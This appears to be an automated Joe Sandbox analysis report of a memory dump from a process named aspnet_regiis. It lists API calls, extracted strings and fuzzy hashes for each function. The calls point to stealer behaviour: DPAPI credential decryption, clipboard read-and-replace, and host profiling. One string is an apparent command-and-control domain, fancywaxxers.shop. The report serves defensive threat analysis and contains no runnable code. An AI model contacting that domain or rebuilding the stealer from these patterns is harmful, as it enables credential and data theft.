Source File: 00000003.00000002.3270915930.0000000002761000.00000020.00000400.00020000.00000000.sdmp, Offset: 02760000, based on PE: true

Associated: 00000003.00000002.3270891830.0000000002760000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3270969965.00000000027A1000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3270997421.00000000027A4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3271027498.00000000027B2000.00000002.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_2760000_aspnet_regiis.jbxd

Similarity

API ID: InitVariant
String ID: #$$$)$-$0$2$2$2$5$5$=$@$B$H$J$L$N$P$R$T$V$Z$\$]$^
API String ID: 1927566239-2983549690
Opcode ID: 66cc99f3ed99a1b172d33687fbf521e39bd855b61df5fc0ac3e3c819c78be7f9
Instruction ID: f819a3d8392791041e1ecc565fad4a3233586b31969af140b346bbaec99aad78
Opcode Fuzzy Hash: 66cc99f3ed99a1b172d33687fbf521e39bd855b61df5fc0ac3e3c819c78be7f9
Instruction Fuzzy Hash: B5519D7160D3C08FE365CB38C59874BBFE1AB96308F48595DE4C98B382C6B98909CB57

Function 0277062F Relevance: 34.0, APIs: 2, Strings: 17, Instructions: 764
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

J, xrefs: 02770E7F
., xrefs: 027709F1
B, xrefs: 02770AF8
A, xrefs: 027709F6
3, xrefs: 02770E77
0, xrefs: 02770E6F
K, xrefs: 02770769
r, xrefs: 02770B7E
4, xrefs: 02770764
@, xrefs: 02770B76
n, xrefs: 02770CE4
i, xrefs: 027706A3
-, xrefs: 02770AF3
A, xrefs: 027708BB
;, xrefs: 02770F88
,, xrefs: 02770D98
V, xrefs: 0277063D

Memory Dump Source

Source File: 00000003.00000002.3270915930.0000000002761000.00000020.00000400.00020000.00000000.sdmp, Offset: 02760000, based on PE: true

Associated: 00000003.00000002.3270891830.0000000002760000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3270969965.00000000027A1000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3270997421.00000000027A4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3271027498.00000000027B2000.00000002.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_2760000_aspnet_regiis.jbxd

Similarity

API ID:
String ID: ,$-$.$0$3$4$;$@$A$A$B$J$K$V$i$n$r
API String ID: 0-884602667
Opcode ID: 6379ba987d0ad300f6619cad2883e4f3e35b1f19b9afdf0cb4b7151555cedab4
Instruction ID: 49234b0eb253f073fc7d1cc8b9b5a2c4d34ef730afbf516f04157adb5921f985
Opcode Fuzzy Hash: 6379ba987d0ad300f6619cad2883e4f3e35b1f19b9afdf0cb4b7151555cedab4
Instruction Fuzzy Hash: 2E62907260D7808BD7259B38C4983AFBBE2ABD5314F098A2ED8DDD7381D6748905CB53

Function 02797BA0 Relevance: 23.5, APIs: 11, Strings: 2, Instructions: 756
memorycomCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CoCreateInstance.OLE32(027A268C,00000000,00000001,027A267C,00000000), ref: 02797E22
SysAllocString.OLEAUT32(A719A516), ref: 02797F1F
CoSetProxyBlanket.COMBASE(44FC42A9,0000000A,00000000,00000000,00000003,00000003,00000000,00000000), ref: 02797F5D
SysAllocString.OLEAUT32(A719A516), ref: 02797FA7
SysAllocString.OLEAUT32(A719A516), ref: 02798053
VariantInit.OLEAUT32(DBDAD9D0), ref: 027980BF
SysFreeString.OLEAUT32(?), ref: 02798391
SysFreeString.OLEAUT32(?), ref: 02798397
SysFreeString.OLEAUT32(00000000), ref: 027983AB
GetVolumeInformationW.KERNELBASE(?,00000000,00000000,EA02F4D2,00000000,00000000,00000000,00000000), ref: 027983E3

Strings

~%, xrefs: 02797C8E
EBC@, xrefs: 02798462

Memory Dump Source

Source File: 00000003.00000002.3270915930.0000000002761000.00000020.00000400.00020000.00000000.sdmp, Offset: 02760000, based on PE: true

Associated: 00000003.00000002.3270891830.0000000002760000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3270969965.00000000027A1000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3270997421.00000000027A4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3271027498.00000000027B2000.00000002.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_2760000_aspnet_regiis.jbxd

Similarity

API ID: String$AllocFree$BlanketCreateInformationInitInstanceProxyVariantVolume
String ID: EBC@$~%
API String ID: 2247799857-3517279034
Opcode ID: dc9878489313229e02727578310968b8e45f63832644d9e75230d452fcdabd38
Instruction ID: f3670c22c42478866a6646a200e2ada85a3e9ea872c2c00a15349bf23d923e63
Opcode Fuzzy Hash: dc9878489313229e02727578310968b8e45f63832644d9e75230d452fcdabd38
Instruction Fuzzy Hash: 1B322172A483518FE714CF29D88076BBBE1EFC6314F188A2DE9959B391D774D805CB82

Function 02782E78 Relevance: 19.7, APIs: 2, Strings: 9, Instructions: 421
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RtlExpandEnvironmentStrings.NTDLL(00000000,?,0000000E,00000000,?), ref: 02782E9D

Strings

#A0C, xrefs: 027832E0
'Q+S, xrefs: 02783300
\E, xrefs: 02783225
jY, xrefs: 0278322D
(]`_, xrefs: 027832F8
;E5G, xrefs: 027832E8
*U2W, xrefs: 02783308
'Y<[, xrefs: 027832F0
SZ, xrefs: 0278321D

Memory Dump Source

Source File: 00000003.00000002.3270915930.0000000002761000.00000020.00000400.00020000.00000000.sdmp, Offset: 02760000, based on PE: true

Associated: 00000003.00000002.3270891830.0000000002760000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3270969965.00000000027A1000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3270997421.00000000027A4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3271027498.00000000027B2000.00000002.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_2760000_aspnet_regiis.jbxd

Similarity

API ID: EnvironmentExpandStrings
String ID: #A0C$'Q+S$'Y<[$(]`_$*U2W$;E5G$SZ$\E$jY
API String ID: 237503144-3412361877
Opcode ID: 8e1eafd269693140d507ef27daac54dea48caf89035b347da837576f8aeebd44
Instruction ID: 7c51fe5cdf95925bc4659af90ed8a3710d416e5ff387d66c43e58e5afdd30005
Opcode Fuzzy Hash: 8e1eafd269693140d507ef27daac54dea48caf89035b347da837576f8aeebd44
Instruction Fuzzy Hash: FED1DFB55483408FC710AF29D89126BBBE5FFC6724F188E2DE8D58B351E7788901CB86

Function 04D01000 Relevance: 19.6, APIs: 13, Instructions: 81
clipboardsleepmemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00000001), ref: 04D01032
OpenClipboard.USER32(00000000), ref: 04D0103C
GetClipboardData.USER32(0000000D), ref: 04D0104C
GlobalLock.KERNEL32(00000000), ref: 04D0105D
GlobalAlloc.KERNEL32(00000002,-00000004), ref: 04D01090
GlobalLock.KERNEL32 ref: 04D010A0
GlobalUnlock.KERNEL32 ref: 04D010C1
EmptyClipboard.USER32 ref: 04D010CB
SetClipboardData.USER32(0000000D), ref: 04D010D6
GlobalFree.KERNEL32 ref: 04D010E3
GlobalUnlock.KERNEL32(?), ref: 04D010ED
CloseClipboard.USER32 ref: 04D010F3
GetClipboardSequenceNumber.USER32 ref: 04D010F9

Memory Dump Source

Source File: 00000003.00000002.3271938113.0000000004D01000.00000020.00000800.00020000.00000000.sdmp, Offset: 04D00000, based on PE: true

Associated: 00000003.00000002.3271916145.0000000004D00000.00000002.00000800.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3271964312.0000000004D02000.00000002.00000800.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_4d00000_aspnet_regiis.jbxd

Similarity

API ID: ClipboardGlobal$DataLockUnlock$AllocCloseEmptyFreeNumberOpenSequenceSleep
String ID:
API String ID: 1416286485-0
Opcode ID: 03f6d21890db35c9d304e1779699a0ddd8b3bd3d61121f9928ed697ccb20a04f
Instruction ID: 08257b8158d52b8c5ad83d002f4fa65f604f95e988cc614ecb5d493faed6efc7
Opcode Fuzzy Hash: 03f6d21890db35c9d304e1779699a0ddd8b3bd3d61121f9928ed697ccb20a04f
Instruction Fuzzy Hash: 7921A1317062609BDB246B71AC0DB6E77E8FF04785F04806CF9C5D7291EA66AC80C6A3

Function 02775050 Relevance: 16.7, APIs: 1, Strings: 8, Instructions: 939
encryptionCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CryptUnprotectData.CRYPT32(?,00000000,00000000,00000000,00000000,00000000,?), ref: 027758EA

Strings

ke, xrefs: 0277532F
$W#Q, xrefs: 0277530E
M1IJ, xrefs: 02775791
J\, xrefs: 02775149
U)QR, xrefs: 0277577B
V9, xrefs: 027757A7
g`a, xrefs: 0277533A
ZX^M, xrefs: 0277579C

Memory Dump Source

Source File: 00000003.00000002.3270915930.0000000002761000.00000020.00000400.00020000.00000000.sdmp, Offset: 02760000, based on PE: true

Associated: 00000003.00000002.3270891830.0000000002760000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3270969965.00000000027A1000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3270997421.00000000027A4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3271027498.00000000027B2000.00000002.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_2760000_aspnet_regiis.jbxd

Similarity

API ID: CryptDataUnprotect
String ID: $W#Q$J\$M1IJ$U)QR$V9$ZX^M$g`a$ke
API String ID: 834300711-4063897482
Opcode ID: afcaf4c01fec2214bb501cd1f8c34cd700a45838d44deedd8aa979beb58c61f7
Instruction ID: 154a07f21d45199b1c86c99a9506db3120571857657f82e3bbcf948aaf9f4161
Opcode Fuzzy Hash: afcaf4c01fec2214bb501cd1f8c34cd700a45838d44deedd8aa979beb58c61f7
Instruction Fuzzy Hash: FA5237B19093418BDB25DF24C855BAFB7E2FFC5314F48496CE8998B291E7349805CB93

Function 0276DDBE Relevance: 12.3, APIs: 1, Strings: 7, Instructions: 303
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CoUninitialize.COMBASE ref: 0276DDC5

Strings

}:, xrefs: 0276DFD8
:!2-, xrefs: 0276DE92
fancywaxxers.shop, xrefs: 0276E0D9
kZ[X, xrefs: 0276E06B
gbal, xrefs: 0276DEA7
k{, xrefs: 0276DFCA
+-1', xrefs: 0276DEAE

Memory Dump Source

Source File: 00000003.00000002.3270915930.0000000002761000.00000020.00000400.00020000.00000000.sdmp, Offset: 02760000, based on PE: true

Associated: 00000003.00000002.3270891830.0000000002760000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3270969965.00000000027A1000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3270997421.00000000027A4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3271027498.00000000027B2000.00000002.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_2760000_aspnet_regiis.jbxd

Similarity

API ID: Uninitialize
String ID: +-1'$:!2-$fancywaxxers.shop$gbal$kZ[X$k{$}:
API String ID: 3861434553-2198633159
Opcode ID: a7b1ae6a466766b399f7690918eab394d6a5ab7f39cf90ef54bc91c2bcbc1618
Instruction ID: d3e831118fce4969baf0ce41c0c075c419e903303a802fee97468c44eee54d8d
Opcode Fuzzy Hash: a7b1ae6a466766b399f7690918eab394d6a5ab7f39cf90ef54bc91c2bcbc1618
Instruction Fuzzy Hash: D391E2742187808FD72A8F29C0E4662BFA1FF57300B18969CC9E64F756D7359816CFA1

Function 02771CE0 Relevance: 11.3, APIs: 3, Strings: 2, Instructions: 2539COMMON

Download Yara Rule

Strings

D, xrefs: 02773CA4
`, xrefs: 02772E4C

Memory Dump Source

Source File: 00000003.00000002.3270915930.0000000002761000.00000020.00000400.00020000.00000000.sdmp, Offset: 02760000, based on PE: true

Associated: 00000003.00000002.3270891830.0000000002760000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3270969965.00000000027A1000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3270997421.00000000027A4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3271027498.00000000027B2000.00000002.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_2760000_aspnet_regiis.jbxd

Similarity

API ID:
String ID: D$`
API String ID: 0-881360112
Opcode ID: 3a2477d08d458eeaede933dc5b5e4cd37b9afa9357319523f1bfde47b6284203
Instruction ID: 6fe1732504106b32fb4ce6eb9a2a2ddee9f3d5fce354060a5d56e1b08d3bbec5
Opcode Fuzzy Hash: 3a2477d08d458eeaede933dc5b5e4cd37b9afa9357319523f1bfde47b6284203
Instruction Fuzzy Hash: 25331771D083908FDB11CB38C849799BFF1AB46320F0986E9D8A9AB3D2D7758945CB52

Function 02768790 Relevance: 7.7, APIs: 5, Instructions: 219
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentProcessId.KERNEL32 ref: 027687B4
GetCurrentThreadId.KERNEL32 ref: 027687BE
SHGetSpecialFolderPathW.SHELL32(00000000,?,00000010,00000000,?), ref: 02768863
GetForegroundWindow.USER32 ref: 02768955
ExitProcess.KERNEL32 ref: 02768A2E

Memory Dump Source

Source File: 00000003.00000002.3270915930.0000000002761000.00000020.00000400.00020000.00000000.sdmp, Offset: 02760000, based on PE: true

Associated: 00000003.00000002.3270891830.0000000002760000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3270969965.00000000027A1000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3270997421.00000000027A4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3271027498.00000000027B2000.00000002.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_2760000_aspnet_regiis.jbxd

Similarity

API ID: CurrentProcess$ExitFolderForegroundPathSpecialThreadWindow
String ID:
API String ID: 4063528623-0
Opcode ID: 33dc20622c36e73fd32f09ac42a7cae0ec7ccdcf87c1143b812b703ce1f4fb8e
Instruction ID: 823df192b9c25474e33b9098927d18b6abc52d254c97a5b2d705cdf32212d192
Opcode Fuzzy Hash: 33dc20622c36e73fd32f09ac42a7cae0ec7ccdcf87c1143b812b703ce1f4fb8e
Instruction Fuzzy Hash: B9514B73B443054FD718AF69CC1D36AB7D79BC4320F0EC53E99859B791DA3898058B82

Function 02792700 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 198
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetSystemMetrics.USER32 ref: 02792749
GetSystemMetrics.USER32 ref: 02792759

Strings

, xrefs: 02792846

Memory Dump Source

Source File: 00000003.00000002.3270915930.0000000002761000.00000020.00000400.00020000.00000000.sdmp, Offset: 02760000, based on PE: true

Associated: 00000003.00000002.3270891830.0000000002760000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3270969965.00000000027A1000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3270997421.00000000027A4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3271027498.00000000027B2000.00000002.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_2760000_aspnet_regiis.jbxd

Similarity

API ID: MetricsSystem
String ID:
API String ID: 4116985748-3916222277
Opcode ID: 77290c8b0d7ccb8ee1ac81108fd47db9f549f504b0fa58f65b46e869f0043fcf
Instruction ID: 7a8d9fa8ed1e41501d193890b2731aec7a3fa8cf8f4d1464a258fedc605c8d65
Opcode Fuzzy Hash: 77290c8b0d7ccb8ee1ac81108fd47db9f549f504b0fa58f65b46e869f0043fcf
Instruction Fuzzy Hash: 65D15CB02093808FDB34DF66E65879FFBE2BBC5318F519A6DD4985B280D77484588F82

Function 0278BE6E Relevance: 2.1, APIs: 1, Instructions: 629COMMON

Download Yara Rule

APIs

GetPhysicallyInstalledSystemMemory.KERNELBASE(?), ref: 0278C1FE

Memory Dump Source

Source File: 00000003.00000002.3270915930.0000000002761000.00000020.00000400.00020000.00000000.sdmp, Offset: 02760000, based on PE: true

Associated: 00000003.00000002.3270891830.0000000002760000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3270969965.00000000027A1000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3270997421.00000000027A4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3271027498.00000000027B2000.00000002.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_2760000_aspnet_regiis.jbxd

Similarity

API ID: InstalledMemoryPhysicallySystem
String ID:
API String ID: 3960555810-0
Opcode ID: 9886148821e53498758abeca54bb9da236227ce3d6086cfc699dd35a8f4598a5
Instruction ID: 5b6af6037c6b191bbbad728cf0c3efc6ff1e8b8889056be0461052d1f87aa58f
Opcode Fuzzy Hash: 9886148821e53498758abeca54bb9da236227ce3d6086cfc699dd35a8f4598a5
Instruction Fuzzy Hash: E102B1705047828BD71A8F39C490762FBE1AF5B314F28859EC4DA9B792D735A406CB64

Function 0278A90B Relevance: 1.6, APIs: 1, Instructions: 70COMMON

Download Yara Rule

APIs

GetComputerNameExA.KERNELBASE(00000006,?,?), ref: 0278A9A9

Memory Dump Source

Source File: 00000003.00000002.3270915930.0000000002761000.00000020.00000400.00020000.00000000.sdmp, Offset: 02760000, based on PE: true

Associated: 00000003.00000002.3270891830.0000000002760000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3270969965.00000000027A1000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3270997421.00000000027A4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3271027498.00000000027B2000.00000002.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_2760000_aspnet_regiis.jbxd

Similarity

API ID: ComputerName
String ID:
API String ID: 3545744682-0
Opcode ID: cd2079c03bd74a051166c123acf07ebb9b8da3924e18dc5383dce14aa83a3acf
Instruction ID: a46190ac2a41865ae164202b611cd3b255e842235844006a81c5e0f47ed1774b
Opcode Fuzzy Hash: cd2079c03bd74a051166c123acf07ebb9b8da3924e18dc5383dce14aa83a3acf
Instruction Fuzzy Hash: 60113130605282CBDB198F31C891727BBE2EB8A310F19C89EC09BDB745CB34D802CB20

Function 0278A8C6 Relevance: 1.6, APIs: 1, Instructions: 69COMMON

Download Yara Rule

APIs

GetComputerNameExA.KERNELBASE(00000006,?,?), ref: 0278A9A9

Memory Dump Source

Source File: 00000003.00000002.3270915930.0000000002761000.00000020.00000400.00020000.00000000.sdmp, Offset: 02760000, based on PE: true

Associated: 00000003.00000002.3270891830.0000000002760000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3270969965.00000000027A1000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3270997421.00000000027A4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3271027498.00000000027B2000.00000002.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_2760000_aspnet_regiis.jbxd

Similarity

API ID: ComputerName
String ID:
API String ID: 3545744682-0
Opcode ID: 61cb7b54e4a37f96bc7a09cadbd80dbce03a1e2fae850304110620c361c7fd98
Instruction ID: 878df5a18d267391074499eb09945fb7a547fe800b03bfb0714117da8f251ee0
Opcode Fuzzy Hash: 61cb7b54e4a37f96bc7a09cadbd80dbce03a1e2fae850304110620c361c7fd98
Instruction Fuzzy Hash: 581101356452828FDB198F30D891727BBA2EB4A210F19C89ED49BEB745C735E802CB20

Function 0279CCA0 Relevance: 1.5, APIs: 1, Instructions: 14libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL(0279FB7B,00000002,0000002C,?,?,00000018,?,00000000,?,?,?,?,00000000,00000000), ref: 0279CCCE

Memory Dump Source

Source File: 00000003.00000002.3270915930.0000000002761000.00000020.00000400.00020000.00000000.sdmp, Offset: 02760000, based on PE: true

Associated: 00000003.00000002.3270891830.0000000002760000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3270969965.00000000027A1000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3270997421.00000000027A4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3271027498.00000000027B2000.00000002.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_2760000_aspnet_regiis.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 428b37146f2ab8bbef251fdb989594d24ae2c5b49c4db8728953df82dacde34d
Instruction ID: 0c3231226d6b2b3a527619dcc08e6164a4fafcc19f94aab6dc14dc2c5ea58878
Opcode Fuzzy Hash: 428b37146f2ab8bbef251fdb989594d24ae2c5b49c4db8728953df82dacde34d
Instruction Fuzzy Hash: A2E0FE75908316AF9A08CF45C14444EFBE5BFC4714F11CC8DA4D863210D3B0AD46DF82

Function 0278A55F Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 116
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetComputerNameExA.KERNELBASE(00000005,?,?), ref: 0278AAAC

Strings

_RV], xrefs: 0278A9E3
EXCm, xrefs: 0278A9EA

Memory Dump Source

Source File: 00000003.00000002.3270915930.0000000002761000.00000020.00000400.00020000.00000000.sdmp, Offset: 02760000, based on PE: true

Associated: 00000003.00000002.3270891830.0000000002760000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3270969965.00000000027A1000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3270997421.00000000027A4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3271027498.00000000027B2000.00000002.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_2760000_aspnet_regiis.jbxd

Similarity

API ID: ComputerName
String ID: EXCm$_RV]
API String ID: 3545744682-74084992
Opcode ID: f3b9b520b57548f7ef2776ea4c09f1b2de0814eae6a7862ef424d87f6bfc0997
Instruction ID: 243b2276877bf6eff03c7995b7effb61a64ba8bdca7a1914cbeb6e2b0754677b
Opcode Fuzzy Hash: f3b9b520b57548f7ef2776ea4c09f1b2de0814eae6a7862ef424d87f6bfc0997
Instruction Fuzzy Hash: 5E3107752407428FD7188F29C490776FBD2EF96210B1DC65EC4E787792DB78A845CB11

Function 0278A9DA Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 94
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetComputerNameExA.KERNELBASE(00000005,?,?), ref: 0278AAAC

Strings

_RV], xrefs: 0278A9E3
EXCm, xrefs: 0278A9EA

Memory Dump Source

Source File: 00000003.00000002.3270915930.0000000002761000.00000020.00000400.00020000.00000000.sdmp, Offset: 02760000, based on PE: true

Associated: 00000003.00000002.3270891830.0000000002760000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3270969965.00000000027A1000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3270997421.00000000027A4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3271027498.00000000027B2000.00000002.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_2760000_aspnet_regiis.jbxd

Similarity

API ID: ComputerName
String ID: EXCm$_RV]
API String ID: 3545744682-74084992
Opcode ID: 4c861c2ac2fc421d5b6f0da52a47eb53f684c32064f9f3598220585b63ea40fa
Instruction ID: 02c53a81e9d1efe3d6d337b33e6550775c67b9031ea2d0338387185193d48260
Opcode Fuzzy Hash: 4c861c2ac2fc421d5b6f0da52a47eb53f684c32064f9f3598220585b63ea40fa
Instruction Fuzzy Hash: F1212571240B028BE31CCF39C89076AF7D3EFD621072DC66DC4A68B796DA789842CB40

Function 0276CD76 Relevance: 3.1, APIs: 2, Instructions: 122COMMON

Download Yara Rule

APIs

CoInitializeEx.OLE32(00000000,00000002), ref: 0276CD7A
CoInitializeEx.COMBASE(00000000,00000002), ref: 0276CEBF

Memory Dump Source

Source File: 00000003.00000002.3270915930.0000000002761000.00000020.00000400.00020000.00000000.sdmp, Offset: 02760000, based on PE: true

Associated: 00000003.00000002.3270891830.0000000002760000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3270969965.00000000027A1000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3270997421.00000000027A4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3271027498.00000000027B2000.00000002.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_2760000_aspnet_regiis.jbxd

Similarity

API ID: Initialize
String ID:
API String ID: 2538663250-0
Opcode ID: a0ba0ddfad2f15655209425ccd1956b7b0e72329cdcc84998cc96603ee035672
Instruction ID: 5ae6f9f4dc2b0f2b32b1747238881ffb528a77457e97914791688f7e2e028b00
Opcode Fuzzy Hash: a0ba0ddfad2f15655209425ccd1956b7b0e72329cdcc84998cc96603ee035672
Instruction Fuzzy Hash: 9641C9B4D10B40AFD370EF39D90B7127EB4AB05260F508B1EF9E6866D4E635A4198BD3

Function 0276CF3D Relevance: 3.0, APIs: 2, Instructions: 37COMMON

Download Yara Rule

APIs

CoInitializeSecurity.OLE32(00000000,000000FF,00000000,00000000,00000000,00000003,00000000,00000000,00000000), ref: 0276CF4F
CoInitializeSecurity.COMBASE(00000000,000000FF,00000000,00000000,00000000,00000003,00000000,00000000,00000000), ref: 0276CF72

Memory Dump Source

Source File: 00000003.00000002.3270915930.0000000002761000.00000020.00000400.00020000.00000000.sdmp, Offset: 02760000, based on PE: true

Associated: 00000003.00000002.3270891830.0000000002760000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3270969965.00000000027A1000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3270997421.00000000027A4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3271027498.00000000027B2000.00000002.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_2760000_aspnet_regiis.jbxd

Similarity

API ID: InitializeSecurity
String ID:
API String ID: 640775948-0
Opcode ID: a457a19743ab44d24c8f99bcd0f714a59fa21c8b3570c0692d52801efab3d664
Instruction ID: 5131e587c75a915420b4003afc98eadaa01f07bacd08ce7e729b7d0cd4c0508b
Opcode Fuzzy Hash: a457a19743ab44d24c8f99bcd0f714a59fa21c8b3570c0692d52801efab3d664
Instruction Fuzzy Hash: CDE042387D9301BAF6B98655EC67F1436165B86F36F308705BB263D2C686F03111851D

Function 02769F18 Relevance: 1.6, APIs: 1, Instructions: 61libraryCOMMON

Download Yara Rule

APIs

LoadLibraryExW.KERNEL32(?,00000000,EDECCBF2), ref: 02769FBE

Memory Dump Source

Source File: 00000003.00000002.3270915930.0000000002761000.00000020.00000400.00020000.00000000.sdmp, Offset: 02760000, based on PE: true

Associated: 00000003.00000002.3270891830.0000000002760000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3270969965.00000000027A1000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3270997421.00000000027A4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3271027498.00000000027B2000.00000002.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_2760000_aspnet_regiis.jbxd

Similarity

API ID: LibraryLoad
String ID:
API String ID: 1029625771-0
Opcode ID: b42830a5863d894cb5c7cd2607e692537a6372af2eaba158b9a27e2a8d28db81
Instruction ID: 90ef82b1d27477edad2f5499f2beea462be1f4d57307e381d72a809275fc2c9d
Opcode Fuzzy Hash: b42830a5863d894cb5c7cd2607e692537a6372af2eaba158b9a27e2a8d28db81
Instruction Fuzzy Hash: 0011237475A3808FD714CE64C9652EB3BA29BD6214F1C896DD2C06B746C77C95038B17

Function 0279CEC2 Relevance: 1.6, APIs: 1, Instructions: 51COMMON

Download Yara Rule

APIs

GetForegroundWindow.USER32 ref: 0279CFB0

Memory Dump Source

Source File: 00000003.00000002.3270915930.0000000002761000.00000020.00000400.00020000.00000000.sdmp, Offset: 02760000, based on PE: true

Associated: 00000003.00000002.3270891830.0000000002760000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3270969965.00000000027A1000.00000002.00000400.00020000.00000000.sdmpDownload File
